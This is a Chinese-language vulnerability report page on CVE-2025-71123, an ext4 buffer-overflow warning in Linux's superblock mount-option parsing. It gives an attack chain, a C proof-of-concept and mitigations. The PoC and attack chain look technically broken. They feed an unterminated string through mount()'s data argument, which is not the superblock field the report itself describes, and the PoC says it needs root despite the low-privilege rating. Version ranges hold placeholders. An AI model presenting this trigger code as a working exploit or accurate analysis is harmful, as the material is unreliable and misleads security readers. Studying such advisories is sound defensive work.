IPBUF安全漏洞报告
English
CVE-2025-71123 CVSS 7.8 高危

CVE-2025-71123: Linux内核ext4文件系统strscpy_pad缓冲区溢出漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71123
漏洞类型
缓冲区溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel ext4文件系统

相关标签

缓冲区溢出Linux内核ext4文件系统strscpy_pad本地提权CVE-2025-71123SyzkallerFortify-Source

漏洞概述

CVE-2025-71123是Linux内核ext4文件系统中的一个高危安全漏洞。该漏洞存在于parse_apply_sb_mount_options()函数中,由于错误使用strscpy_pad()函数复制非NUL终止字符串到可能更大的NUL终止字符串缓冲区中,导致缓冲区溢出检测机制触发警告。具体而言,当用户空间提供的s_mount_opts字段超过63个字符且未正确NUL终止时,strscpy_pad()无法正确处理这种情况,从而触发strnlen的缓冲区溢出检测。该漏洞CVSS评分为7.8,属于本地高危漏洞,攻击者需要低权限即可触发,可能导致内核崩溃或潜在的安全问题。此漏洞由Linux验证中心使用Syzkaller模糊测试工具发现。

技术细节

该漏洞的核心问题在于strscpy_pad()函数的设计限制:它无法正确处理非NUL终止字符串到NUL终止字符串缓冲区的复制操作。在parse_apply_sb_mount_options()函数中,代码期望s_mount_opts字段最多63个字符且以NUL结尾,但实际使用中可能接收到未正确终止的字符串。当strscpy_pad()尝试复制这类字符串时,会触发fortify-source保护机制的检测,输出警告信息:strnlen: detected buffer overflow: 65 byte read of buffer size 64。修复方案是使用64字节的缓冲区(匹配s_mount_opts的大小),并在用户仍提供非NUL终止字符串时返回错误。漏洞触发路径为:用户空间通过mount系统调用传入超长或非终止的挂载选项 -> ext4_fill_super -> __ext4_fill_super -> parse_apply_sb_mount_options,在该函数中strscpy_pad()处理时触发溢出检测。

攻击链分析

STEP 1
步骤1: 权限准备
攻击者获取系统低权限用户账号,具有本地访问权限
STEP 2
步骤2: 创建恶意ext4设备
攻击者创建或获取一个ext4格式化的块设备/镜像文件
STEP 3
步骤3: 构造超长挂载选项
构造超过63个字符且未正确NUL终止的挂载选项字符串,触发strscpy_pad()缓冲区溢出检测
STEP 4
步骤4: 调用mount系统调用
通过mount()系统调用尝试挂载ext4文件系统,传入恶意挂载选项
STEP 5
步骤5: 触发内核警告
内核在parse_apply_sb_mount_options()中执行strscpy_pad()时检测到缓冲区溢出,输出警告并可能触发系统崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2025-71123: ext4 strscpy_pad buffer overflow in parse_apply_sb_mount_options() * * This PoC demonstrates how to trigger the buffer overflow detection by providing * a mount option string that is longer than expected (63 chars) without proper NUL termination. * * Note: This requires root privileges and a loop device setup. */ #define EXT4_MOUNT_OPTIONS_MAX 65 int trigger_vulnerability(const char *device, const char *mount_point) { /* * Create a mount option string that exceeds the expected 63 characters * and is not properly NUL-terminated. * The kernel expects s_mount_opts to be at most 63 chars + NUL (64 bytes total). */ char malicious_opts[EXT4_MOUNT_OPTIONS_MAX + 1]; /* Fill with repeated pattern to exceed 63 characters */ memset(malicious_opts, 'A', EXT4_MOUNT_OPTIONS_MAX); /* Do NOT NUL-terminate - this triggers the vulnerability */ /* Attempt to mount ext4 with malicious options */ int ret = mount(device, mount_point, "ext4", 0, malicious_opts); if (ret == -1) { perror("mount failed (expected - may trigger kernel warning)"); } return ret; } /* Alternative: Trigger via /etc/fstab with long mount options */ void create_malicious_fstab_entry(void) { /* * Add entry to /etc/fstab with mount options exceeding 63 characters: * /dev/loop0 /mnt/test ext4 defaults,<64_CHAR_OPTIONS_NO_NULL> 0 0 * * Then run: mount /mnt/test */ printf("Create fstab entry with mount options > 63 chars without NUL termination\n"); } int main(int argc, char *argv[]) { if (argc != 3) { fprintf(stderr, "Usage: %s <device> <mount_point>\n", argv[0]); return 1; } printf("CVE-2025-71123 PoC - ext4 strscpy_pad buffer overflow\n"); printf("Attempting to trigger vulnerability with malformed mount options...\n"); return trigger_vulnerability(argv[1], argv[2]); }

影响范围

Linux Kernel 6.12.x < 6.12.54
Linux Kernel 6.6.x < 6.6.y stable patches
Linux Kernel 5.15.x < 5.15.y stable patches
Linux Kernel 5.10.x < 5.10.y stable patches
Linux Kernel 5.4.x < 5.4.y stable patches
Linux Kernel 4.19.x < 4.19.y stable patches

防御指南

临时缓解措施
如果无法立即升级内核,可通过以下措施临时缓解:1) 限制普通用户执行mount操作,使用polkit规则或sudo策略禁止非root用户挂载文件系统;2) 使用grsecurity/PaX等内核加固补丁增强内存保护;3) 监控系统日志中的__fortify_report相关警告;4) 考虑使用容器隔离可能触发漏洞的挂载操作。但这些措施仅能降低风险,无法从根本上修复漏洞,建议尽快升级内核。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表